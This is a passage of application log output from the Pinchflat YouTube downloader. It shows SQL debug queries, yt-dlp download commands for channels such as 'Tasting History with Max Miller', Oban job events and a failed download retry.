livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 23:49:29.583 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 23:49:29.583 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:49:29.584 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:49:29.584 [debug] QUERY OK source="settings" db=0.0ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:49:29.584 [debug] Running yt-dlp command for action: get_downloadable_status 23:49:29.585 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:49:29.585 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:49:29.586 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:49:29.586 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a3/5e/a35e10281d114d5954503f4cab8b6f62dc72476e7b49076a5cd809fe02e9e52a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:49:34.247 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/a3/5e/a35e10281d114d5954503f4cab8b6f62dc72476e7b49076a5cd809fe02e9e52a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:49:34.247 [debug] Running yt-dlp command for action: download 23:49:34.247 [debug] QUERY OK source="settings" db=0.1ms idle=723.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:49:34.247 [debug] QUERY OK source="settings" db=0.1ms idle=724.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:49:34.248 [debug] QUERY OK source="settings" db=0.0ms idle=724.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:49:34.248 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/39/7d/397d17bfd52a99741b94712718ed2438d26d2a390c20e3bbde0a19c7bb3458bd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:49:50.680 [info] {"source":"oban","duration":724,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:00.259 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:50:20.681 [info] {"source":"oban","duration":501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:50:50.682 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:00.260 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:51:20.683 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:51:50.684 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:00.261 [info] {"source":"oban","duration":166,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:52:20.686 [info] {"source":"oban","duration":771,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:52:50.687 [info] {"source":"oban","duration":752,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:00.262 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:53:20.689 [info] {"source":"oban","duration":846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:53:50.691 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:00.263 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:54:20.692 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:54:39.893 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/39/7d/397d17bfd52a99741b94712718ed2438d26d2a390c20e3bbde0a19c7bb3458bd.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 23:54:39.893 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 23:54:39.894 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":310312765,"event":"job:exception","queue_time":405900,"attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:54:50.693 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:00.264 [info] {"source":"oban","duration":266,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:55:20.694 [info] {"source":"oban","duration":780,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:55:28.982 [info] {"args":{"id":12546},"id":1728,"meta":{},"system_time":1775015728982385374,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":16,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:55:28.982 [debug] QUERY OK source="media_items" db=0.2ms idle=458.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12546] 23:55:28.983 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:55:28.983 [debug] QUERY OK source="sources" db=0.2ms idle=459.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:55:28.983 [debug] QUERY OK source="media_profiles" db=0.1ms idle=459.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:55:28.984 [debug] QUERY OK source="media_items" db=0.2ms idle=8.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12546] 23:55:28.984 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12546] 23:55:28.984 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:55:28.985 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:55:28.985 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:55:28.985 [debug] Running yt-dlp command for action: get_downloadable_status 23:55:28.986 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:55:28.986 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:55:28.986 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:55:28.986 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f1/6e/f16e60915b2b93aabd3535268bd4c986d082b72dd3f1625b168770e0222a8624.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:55:32.549 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/f1/6e/f16e60915b2b93aabd3535268bd4c986d082b72dd3f1625b168770e0222a8624.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:55:32.550 [debug] Running yt-dlp command for action: download 23:55:32.550 [debug] QUERY OK source="settings" db=0.1ms idle=570.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:55:32.550 [debug] QUERY OK source="settings" db=0.0ms idle=26.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:55:32.550 [debug] QUERY OK source="settings" db=0.1ms idle=26.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:55:32.550 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a4/a7/a4a7f6f78f71cb33203d6d6fdbae69bdfdb4c8d9fc9ac30f20b0c2a787bdf54c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:55:50.695 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:00.265 [info] {"source":"oban","duration":168,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:56:20.696 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:56:50.698 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:00.266 [info] {"source":"oban","duration":257,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:57:20.699 [info] {"source":"oban","duration":670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:57:50.700 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:58:00.267 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 23:58:14.167 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1775015894167280241,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":14,"tags":["media_item","media_fetching","show_in_dashboard"]} 23:58:14.167 [debug] QUERY OK source="media_items" db=0.2ms idle=1643.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 23:58:14.167 [info] User scripts lifecyle file either not present or is empty. Skipping. 23:58:14.168 [debug] QUERY OK source="sources" db=0.1ms idle=1008.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:58:14.168 [debug] QUERY OK source="media_profiles" db=0.1ms idle=644.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:58:14.169 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13020] 23:58:14.169 [debug] QUERY OK source="media_metadata" db=0.1ms idle=2.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13020] 23:58:14.169 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:58:14.170 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:58:14.170 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:58:14.170 [debug] Running yt-dlp command for action: get_downloadable_status 23:58:14.170 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:58:14.171 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:58:14.171 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:58:14.171 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/05/61/056133f1243b5243750058eb328c2ffd22b4186d8001b492a12f6d15ef070f31.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 23:58:19.020 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/05/61/056133f1243b5243750058eb328c2ffd22b4186d8001b492a12f6d15ef070f31.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 23:58:19.020 [debug] Running yt-dlp command for action: download 23:58:19.021 [debug] QUERY OK source="settings" db=0.1ms idle=1497.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:58:19.021 [debug] QUERY OK source="settings" db=0.1ms idle=1497.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:58:19.021 [debug] QUERY OK source="settings" db=0.0ms idle=1497.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:58:19.021 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best 